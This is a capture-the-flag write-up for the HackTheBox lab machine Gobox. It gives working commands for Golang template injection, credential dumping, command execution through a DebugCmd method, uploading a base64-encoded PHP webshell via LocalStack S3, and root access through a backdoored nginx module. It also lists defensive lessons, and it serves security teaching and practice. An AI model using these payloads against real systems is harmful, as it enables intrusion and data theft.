HTB: Gobox Writeup

Gobox - HackTheBox Writeup

Machine Information

AttributeDetails
NameGobox
OSLinux
DifficultyMedium
Points30
Release Date26 Aug 2021
IP Address10.129.95.236
Authorippsec

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Gobox is a medium-difficulty Linux machine that simulates an AWS EC2 environment with S3 integration and custom nginx modules. The machine features two web applications: a static homepage on port 80 and a Golang login portal on port 8080. The initial foothold is achieved by exploiting a Server-Side Template Injection (SSTI) vulnerability in the Golang application’s password reset functionality. By dumping credentials via SSTI and analyzing the leaked source code, attackers can leverage a custom DebugCmd method to achieve remote code execution inside a Docker container. The container has AWS credentials that permit interaction with LocalStack (port 4566), enabling the upload of a PHP webshell to an S3 bucket that serves the port 80 website. Privilege escalation involves discovering a backdoored nginx module (ngx_http_execute_module.so) listening on localhost:8000, which provides root command execution through a renamed trigger parameter.

TL;DR: SSTI in Golang app → credential dump → source code analysis → RCE in Docker → AWS S3 enumeration → webshell upload → www-data shell → nginx backdoor module discovery → root


Reconnaissance

Port Scanning

Terminal window
# Full port scan from jump box
nmap -p- --min-rate 2000 -T4 10.129.95.236

Results:

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc # LocalStack (AWS emulation)
8080/tcp open http-proxy # Golang web app
9000/tcp filtered cslistener
9001/tcp filtered tor-orport
9002/tcp filtered dynamid

Service Enumeration

Port 80 - Homepage

Terminal window
# Probe the main website
curl -s -i http://10.129.95.236/ | head -30

The homepage reveals:

  • Server: nginx
  • Content-Type: text/html; charset=UTF-8
  • Page Title: Hacking eSports | {{.Title}} — the template syntax {{.Title}} suggests server-side template processing
  • Single static page with no interactive forms
  • Appears to be PHP-based (index.php exists)

Port 8080 - Golang Login Portal

Terminal window
# Probe the Golang application
curl -s -i http://10.129.95.236:8080/ | head -40

Key findings:

  • Server: nginx
  • X-Forwarded-Server: golang (indicates Golang backend)
  • Login form with POST method
  • Link to /forgot password reset page
Terminal window
# Check the password reset endpoint
curl -sL http://10.129.95.236:8080/forgot/

The forgot password page contains a single email input field that submits via POST to /forgot/.

Vulnerability Assessment

  1. SSTI in Golang Password Reset Form — The X-Forwarded-Server: golang header and template syntax hint at potential Server-Side Template Injection
  2. AWS Environment — Port 4566 (LocalStack) suggests S3/AWS integration
  3. Filtered Ports — Ports 9000-9002 filtered, indicating firewall rules
  4. Localhost Services — Likely internal services not exposed externally

Initial Foothold

SSTI Discovery and Exploitation

Testing for SSTI

Golang templates use {{ }} syntax. Testing for SSTI:

Terminal window
# Send malformed template syntax
curl -s -o /dev/null -w "code=%{http_code}\n" \
--data-urlencode "email={{" \
http://10.129.95.236:8080/forgot/
# Returns: code=502 (Bad Gateway — template error)

The 502 error confirms template processing. In Golang SSTI, {{ . }} dumps the current context:

Terminal window
# Dump context with {{ . }}
curl -s --data-urlencode "email={{ . }}" \
http://10.129.95.236:8080/forgot/ | grep "Email Sent"

Output:

Email Sent To: {1 ippsec@hacking.esports ippsSecretPassword}

Why this works: Golang’s html/template package evaluates {{ . }} as the current context (the struct passed to the template). In this case, the context is a User struct containing ID, email, and password fields.

Credential Harvesting

Credentials obtained:

  • Email: ippsec@hacking.esports
  • Password: ippsSecretPassword

Source Code Analysis

Terminal window
# Login with dumped credentials
curl -s -i -c /tmp/cookies.txt \
--data-urlencode "email=ippsec@hacking.esports" \
--data-urlencode "password=ippsSecretPassword" \
http://10.129.95.236:8080/

Upon successful authentication, the application returns the complete Golang source code. Key section:

type User struct {
ID int
Email string
Password string
}
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}

Analysis: The DebugCmd method is a gadget that takes a string, splits it on spaces, treats the first token as a binary and remaining tokens as arguments, then executes via os/exec. This can be invoked through SSTI as {{ .DebugCmd "command args" }}.

Achieving Remote Code Execution

Testing RCE

Terminal window
# Test command execution with 'id'
curl -s --data-urlencode "email={{ .DebugCmd \"id\" }}" \
http://10.129.95.236:8080/forgot/ | grep "Email Sent"

Output:

Email Sent To: uid=0(root) gid=0(root) groups=0(root)
Terminal window
# Check hostname
curl -s --data-urlencode "email={{ .DebugCmd \"hostname\" }}" \
http://10.129.95.236:8080/forgot/ | grep "Email Sent"

Output:

Email Sent To: aws

Environment Analysis:

  • Running as root inside a Docker container
  • Hostname is “aws” (simulates EC2 instance)
  • Minimal container: no curl, wget, nc, or internet connectivity

Enumerating AWS Credentials

Terminal window
# Dump environment variables
curl -s --data-urlencode "email={{ .DebugCmd \"env\" }}" \
http://10.129.95.236:8080/forgot/ | grep "Email Sent" -A10

Reveals AWS credentials in environment:

AWS_ACCESS_KEY_ID=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
AWS_SECRET_ACCESS_KEY=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz

Also found in ~/.aws/credentials:

Terminal window
curl -s --data-urlencode "email={{ .DebugCmd \"cat /root/.aws/credentials\" }}" \
http://10.129.95.236:8080/forgot/

AWS S3 Enumeration

The container has the AWS CLI installed. Testing LocalStack endpoint:

Terminal window
# Check container network
curl -s --data-urlencode "email={{ .DebugCmd \"hostname -i\" }}" \
http://10.129.95.236:8080/forgot/
# Returns: 172.17.0.2
# List S3 buckets via LocalStack endpoint (172.17.0.1:4566)
curl -s --data-urlencode \
"email={{ .DebugCmd \"aws --endpoint-url http://172.17.0.1:4566 s3api list-buckets\" }}" \
http://10.129.95.236:8080/forgot/ | grep "Email Sent" -A5

Output:

{
"Buckets": [
{
"Name": "website",
"CreationDate": "2026-07-21T01:32:58.000Z"
}
]
}

Why this works: LocalStack is a framework that emulates AWS services locally. The container is configured to access it on the Docker gateway (172.17.0.1) on port 4566.

Listing Bucket Contents

Terminal window
# List files in the 'website' bucket
EP=172.17.0.1
curl -s --data-urlencode \
"email={{ .DebugCmd \"aws --endpoint-url http://$EP:4566 s3 ls s3://website\" }}" \
http://10.129.95.236:8080/forgot/

Output:

PRE css/
2026-07-21 01:32:58 1294778 bottom.png
2026-07-21 01:32:58 165551 header.png
2026-07-21 01:32:58 5 index.html
2026-07-21 01:32:58 1803 index.php

The S3 bucket hosts the port 80 website files — we can upload a webshell here.

Uploading Webshell to S3

Due to the limited shell environment (no quotes allowed in DebugCmd), we write a PHP webshell using pipe redirection:

# Create SSTI helper script on jump box
cat > /dev/shm/ssti.py << 'EOF'
#!/usr/bin/env python3
import sys, urllib.parse, urllib.request, re
TARGET = "http://10.129.95.236:8080/forgot/"
def run(cmd):
payload = '{{ .DebugCmd "' + cmd + '" }}'
data = urllib.parse.urlencode({"email": payload}).encode()
req = urllib.request.Request(TARGET, data=data)
html = urllib.request.urlopen(req, timeout=20).read().decode(errors="replace")
m = re.search(r"Email Sent To:\s*(.*?)\s*<button", html, re.S)
out = m.group(1) if m else "(no match)"
import html as _h
return _h.unescape(out)
if __name__ == "__main__":
print(run(sys.argv[1]))
EOF
Terminal window
# Write and upload webshell
# PHP payload: <?php system($_REQUEST['cmd']); ?>
# Base64: PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==
python3 /dev/shm/ssti.py \
'echo PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg== | base64 -d > /tmp/shell.php'
# Verify file was created
python3 /dev/shm/ssti.py 'base64 /tmp/shell.php'
# Output: PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==
# Upload to S3
python3 /dev/shm/ssti.py \
'aws --endpoint-url http://172.17.0.1:4566 s3 cp /tmp/shell.php s3://website/shell.php'

Output:

Completed 34 Bytes/34 Bytes (1.6 KiB/s) with 1 file(s) remaining
upload: ../../tmp/shell.php to s3://website/shell.php

Getting Shell as www-data

Terminal window
# Test webshell
curl -s "http://10.129.95.236/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Enumerate filesystem
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=hostname; ls -la /home; find / -name user.txt 2>/dev/null"

Output:

gobox
total 12
drwxr-xr-x 3 root root 4096 Aug 26 2021 .
drwxr-xr-x 19 root root 4096 Aug 26 2021 ..
drwxrwxrwx 5 ubuntu ubuntu 4096 Aug 26 2021 ubuntu
/home/ubuntu/user.txt
/var/www/user.txt

Capturing User Flag

Terminal window
# Read user.txt
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=cat /home/ubuntu/user.txt"

User Flag: <redacted>


Privilege Escalation

Network Enumeration

Terminal window
# Check listening ports
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=ss -lnpt 2>/dev/null"

Output:

State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:9000 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:9001 0.0.0.0:*
LISTEN 0 511 0.0.0.0:8080 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 511 0.0.0.0:4566 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*

Key finding: Port 8000 listening on localhost only.

Terminal window
# Identify the web server
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=ps -ef | grep -i nginx | grep -v grep"

Output:

root 956 1 0 01:32 ? 00:00:00 nginx: master process /usr/sbin/nginx
root 957 956 0 01:32 ? 00:00:00 nginx: worker process
root 958 956 0 01:32 ? 00:00:00 nginx: worker process

Nginx is running as root — unusual for a production setup.

Nginx Configuration Analysis

Terminal window
# Search nginx configs for port 8000 and unusual directives
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=grep -rniE \"command|listen 8000\" /etc/nginx/ 2>/dev/null"

Output:

/etc/nginx/sites-available/default:66: listen 127.0.0.1:8000;
/etc/nginx/sites-available/default:68: command on;

The directive command on; is not a standard nginx directive. Investigating further:

Terminal window
# List nginx modules
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=ls -la /usr/share/nginx/modules/"

Output:

total 512
drwxr-xr-x 2 root root 4096 Aug 26 2021 .
drwxr-xr-x 3 root root 4096 Aug 26 2021 ..
-rw-r--r-- 1 root root 163896 Aug 23 2021 ngx_http_execute_module.so
-rw-r--r-- 1 root root 27728 May 25 2021 ngx_http_image_filter_module.so

The file ngx_http_execute_module.so is suspicious — this is not a default nginx module.

Terminal window
# Check what modules are loaded
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=cat /etc/nginx/modules-enabled/50-backdoor.conf"

Output:

load_module modules/ngx_http_execute_module.so;

NginxExecute Module (Backdoor)

Researching “ngx_http_execute_module” reveals it’s a custom module that allows command execution through HTTP requests. The original project (github.com/limithit/NginxExecute) uses the syntax:

curl -g "http://target/?system.run[command]"

However, testing this directly fails. Reverse engineering the module:

Terminal window
# Extract strings from the module to find the actual trigger name
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=strings /usr/share/nginx/modules/ngx_http_execute_module.so | grep -iE 'run|command' | head -10"

Output:

parse_command
ippsec.run
command
ngx_command_s
parse_command

Key finding: The trigger was renamed from system.run to ippsec.run.

Root Command Execution

Terminal window
# Test the backdoor
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=curl -s -g \"http://127.0.0.1:8000/?ippsec.run[id]\""

Output:

uid=0(root) gid=0(root) groups=0(root)

Why this works: The nginx master process runs as root, and the ngx_http_execute_module.so module uses popen() or similar to execute commands passed via the ippsec.run parameter. Since the module runs in the context of the nginx master process, all commands execute as root.

Capturing Root Flag

Terminal window
# Read root.txt
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=curl -s -g \"http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]\""

Root Flag: <redacted>

Terminal window
# Verify root access
curl -s -G "http://10.129.95.236/shell.php" \
--data-urlencode "cmd=curl -s -g \"http://127.0.0.1:8000/?ippsec.run[ls -la /root]\""

Output:

total 76
drwx------ 8 root root 4096 Jul 21 01:33 .
drwxr-xr-x 19 root root 4096 Aug 26 2021 ..
drwxr-xr-x 2 root root 4096 Aug 26 2021 .aws
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw------- 1 root root 33 Jul 21 01:33 root.txt

Attack Chain Summary

Nmap Scan (ports 80, 8080, 4566, 9000-9002)
SSTI Discovery on Golang /forgot endpoint (port 8080)
Credential Dump via {{ . }} → ippsec@hacking.esports / ippsSecretPassword
Login → Source Code Disclosure (DebugCmd gadget in User struct)
RCE via {{ .DebugCmd "command" }} inside Docker container (root)
AWS Credential Enumeration (env vars + ~/.aws/credentials)
S3 Bucket Discovery via LocalStack (endpoint http://172.17.0.1:4566)
Upload PHP Webshell to s3://website/shell.php
Shell as www-data on port 80 host (gobox)
User Flag: /home/ubuntu/user.txt
Discover localhost:8000 nginx service with 'command on' directive
Reverse Engineer ngx_http_execute_module.so → trigger renamed to 'ippsec.run'
Root RCE via curl -g "http://127.0.0.1:8000/?ippsec.run[cmd]"
Root Flag: /root/root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP request manipulation and webshell interaction
python3SSTI automation helper script
awsS3 bucket enumeration and file upload (via LocalStack)
base64Encoding payloads to avoid special characters
stringsReverse engineering nginx module to find renamed trigger
grepConfiguration file analysis

Key Learnings

Techniques Practiced

  • Golang SSTI Exploitation — Using {{ . }} to dump context and {{ .MethodName "args" }} to invoke methods
  • Source Code Analysis — Identifying RCE gadgets in leaked application code
  • AWS S3 Enumeration — Interacting with LocalStack to list and upload files to S3 buckets
  • Docker Networking — Understanding container-to-host networking (172.17.0.0/16)
  • Nginx Module Backdoors — Identifying and exploiting custom nginx modules for privilege escalation
  • Reverse Engineering — Using strings to extract configuration from compiled modules
  • Constrained RCE — Working within limited shell environments (no quotes, no internet access)

Lessons Learned

  1. Template Injection in Golang: Unlike Python/PHP SSTI, Golang templates are strongly typed but can leak sensitive data structures with {{ . }} and invoke public methods on structs. Always audit template context objects.

  2. AWS Simulation Environments: LocalStack (port 4566) is commonly used in development/testing to emulate AWS services. Misconfigured containers with AWS credentials can pivot to cloud infrastructure.

  3. Docker Gateway Access: Containers typically have network access to the Docker host via the gateway IP (172.17.0.1). Services bound to the host’s 0.0.0.0 are reachable from containers unless explicitly firewalled.

  4. Custom Nginx Modules as Backdoors: Nginx’s modular architecture allows arbitrary C code to execute in the master/worker processes. The ngx_http_execute_module.so module is a known backdoor that should be detected in configuration audits.

  5. Parameter Renaming for Obfuscation: Backdoor developers often rename default parameters (e.g., system.runippsec.run) to evade detection. Always reverse engineer suspicious binaries rather than relying on public documentation.

  6. Defense in Depth Failures: This machine demonstrates multiple security failures:

    • SSTI in a production login portal
    • Credential leakage via template context
    • Root-owned Docker containers with excessive privileges
    • AWS credentials hardcoded in container environment
    • S3 buckets with write permissions from ephemeral containers
    • Custom nginx modules running as root
    • Each layer could have prevented the full compromise

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References